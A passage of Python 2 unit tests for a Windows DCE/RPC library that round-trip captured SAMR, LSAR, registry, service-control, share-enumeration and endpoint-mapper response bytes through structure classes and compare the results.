print "="*80
print "ORIG"
hexdump(getNCChangesResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(getNCChangesResponse) == len(output))
def test_5(self):
#
samrLookupNamesInDomainResponse = '\x01\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\xf4\x01\x00\x00\x01\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
hexdump(samrLookupNamesInDomainResponse)
samrLookupNamesInDomain = SamrLookupNamesInDomainResponse()
samrLookupNamesInDomain.fromString(samrLookupNamesInDomainResponse)
samrLookupNamesInDomain.dump()
output = samrLookupNamesInDomain.getData()
print "ORIG: %d, REPACKED: %d" % (len(samrLookupNamesInDomainResponse), len(output))
print "="*80
print "ORIG"
hexdump(samrLookupNamesInDomainResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(samrLookupNamesInDomainResponse == output)
def test_6(self):
lsarGetUserNameResponse = '\x00\x00\x02\x00\n\x00\x0c\x00\x04\x00\x02\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00a\x00d\x00m\x00i\x00n\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00'
hexdump(lsarGetUserNameResponse)
lsarGetUserName = LsarGetUserNameResponse()
lsarGetUserName.fromString(lsarGetUserNameResponse)
lsarGetUserName.dump()
output = lsarGetUserName.getData()
print "ORIG: %d, REPACKED: %d" % (len(lsarGetUserNameResponse), len(output))
print "="*80
print "ORIG"
hexdump(lsarGetUserNameResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(lsarGetUserNameResponse == output)
def test_8(self):
lsarLookupSids2Response = '\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00 \x00\x00\x00\xef\xef\xef\xef\x01\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x10\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00\xee\xee\x04\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x02\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xab\xab\xab\xab\x1a\x00\x1a\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xab\xab\xab\xab\n\x00\n\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00A\x00d\x00m\x00i\x00n\x00i\x00s\x00t\x00r\x00a\x00t\x00o\x00r\x00\xab\xab\xab\xab\xab\xab\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00G\x00u\x00e\x00s\x00t\x00\xbf\xbf\x02\x00\x00\x00\x00\x00\x00\x00'
hexdump(lsarLookupSids2Response)
lsarLookupSids2 = LsarLookupSids2Response(isNDR64=True)
lsarLookupSids2.fromString(lsarLookupSids2Response)
lsarLookupSids2.dumpRaw()
output = lsarLookupSids2.getData()
print "ORIG: %d, REPACKED: %d" % (len(lsarLookupSids2Response), len(output))
print "="*80
print "ORIG"
hexdump(lsarLookupSids2Response)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(lsarLookupSids2Response == output)
def test_88(self):
baseRegEnumValueResponse = ' \x00\xc8\x00\x00\x00\x02\x00d\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00R\x00e\x00g\x00i\x00s\x00t\x00e\x00r\x00e\x00d\x00O\x00w\x00n\x00e\x00r\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x08\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\x00\x00\x0c\x00\x02\x00\x14\x00\x00\x00\x10\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00'
baseRegEnumValueResponse64 = ' \x00\xc8\x00\xbc\xbc\xbc\xbc\x00\x00\x02\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00R\x00e\x00g\x00i\x00s\x00t\x00e\x00r\x00e\x00d\x00O\x00w\x00n\x00e\x00r\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x14\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00'
hexdump(baseRegEnumValueResponse)
baseRegEnumValue= BaseRegEnumValueResponse(isNDR64=False)
baseRegEnumValue.fromString(baseRegEnumValueResponse)
baseRegEnumValue.dumpRaw()
output = baseRegEnumValue.getData()
print "ORIG: %d, REPACKED: %d" % (len(baseRegEnumValueResponse), len(output))
print "="*80
print "ORIG"
hexdump(baseRegEnumValueResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(baseRegEnumValueResponse == output)
def test_9(self):
rCreateServiceWResponse = '\x00\x00\x00\x00\x00\x00\x00\x00ZU\x81\xedB>RL\xb9v\xb1\xe3\xc5?~\x15\x00\x00\x00\x00'
hexdump(rCreateServiceWResponse)
rCreateServiceW= RCreateServiceWResponse(isNDR64=False)
rCreateServiceW.fromString(rCreateServiceWResponse)
rCreateServiceW.dumpRaw()
output = rCreateServiceW.getData()
print "ORIG: %d, REPACKED: %d" % (len(rCreateServiceWResponse), len(output))
print "="*80
print "ORIG"
hexdump(rCreateServiceWResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(rCreateServiceWResponse == output)
def test_10(self):
netrShareEnum = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xbc\xbc\xbc\x00\x00\x00\x00\xbd\xbd\xbd\xbd\xfc\xb1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xbc\xbc\xbc\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00'
request = srvs.NetrShareEnum(isNDR64=True)
request['ServerName'] = NULL
request['PreferedMaximumLength'] = 0xffffffff
request['ResumeHandle'] = NULL
request['InfoStruct']['ShareInfo']['tag'] = 0
request['InfoStruct']['ShareInfo']['Level0']['Buffer'] = NULL
request['InfoStruct']['Level'] = 0
output = request.getData()
hexdump(netrShareEnum)
print "ORIG: %d, REPACKED: %d" % (len(netrShareEnum), len(output))
print "="*80
print "ORIG"
hexdump(netrShareEnum)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(netrShareEnum) == len(output))
def test_11(self):
ept_lookup_resp = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa1\x00\x00\x00\xf3\x01\x00\x00\x00\x00\x00\x00\xa1\x00\x00\x00\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x03\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddtermsrv\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xdd\x0c\x13\xefR\xfd\x08\x88C\x86\xb3n\xdf\x00\x00\x00\x01\t\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00Secure Desktop LRPC interface\x00\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x01\n\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NRP server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NRP server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NRP server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00Event log TCPIP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00Event log TCPIP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00Event log TCPIP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x007\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddsens\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddsens\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddsens\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xdd\xc7\xf7\xd1$\xafv(O\x9c\xcd\x7fl\xb6F\x86\x01>\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xc7\xf7\xd1$\xafv(O\x9c\xcd\x7fl\xb6F\x86\x01?\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddgpclient\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddgpclient\x00\x00\x00\x00\x00\x00\x00\x00A\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddprofiles\x00\x00\x00\x00\x00\x00\x00\x00B\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00E\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00G\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NSI server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NSI server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00Fw APIs\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00Fw APIs\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00Base Firewall Engine API\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00L\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00M\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00O\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00R\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00T\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00W\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Y\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Z\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00^\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00_\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00f\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00g\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00k\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00l\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00m\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00n\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00o\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x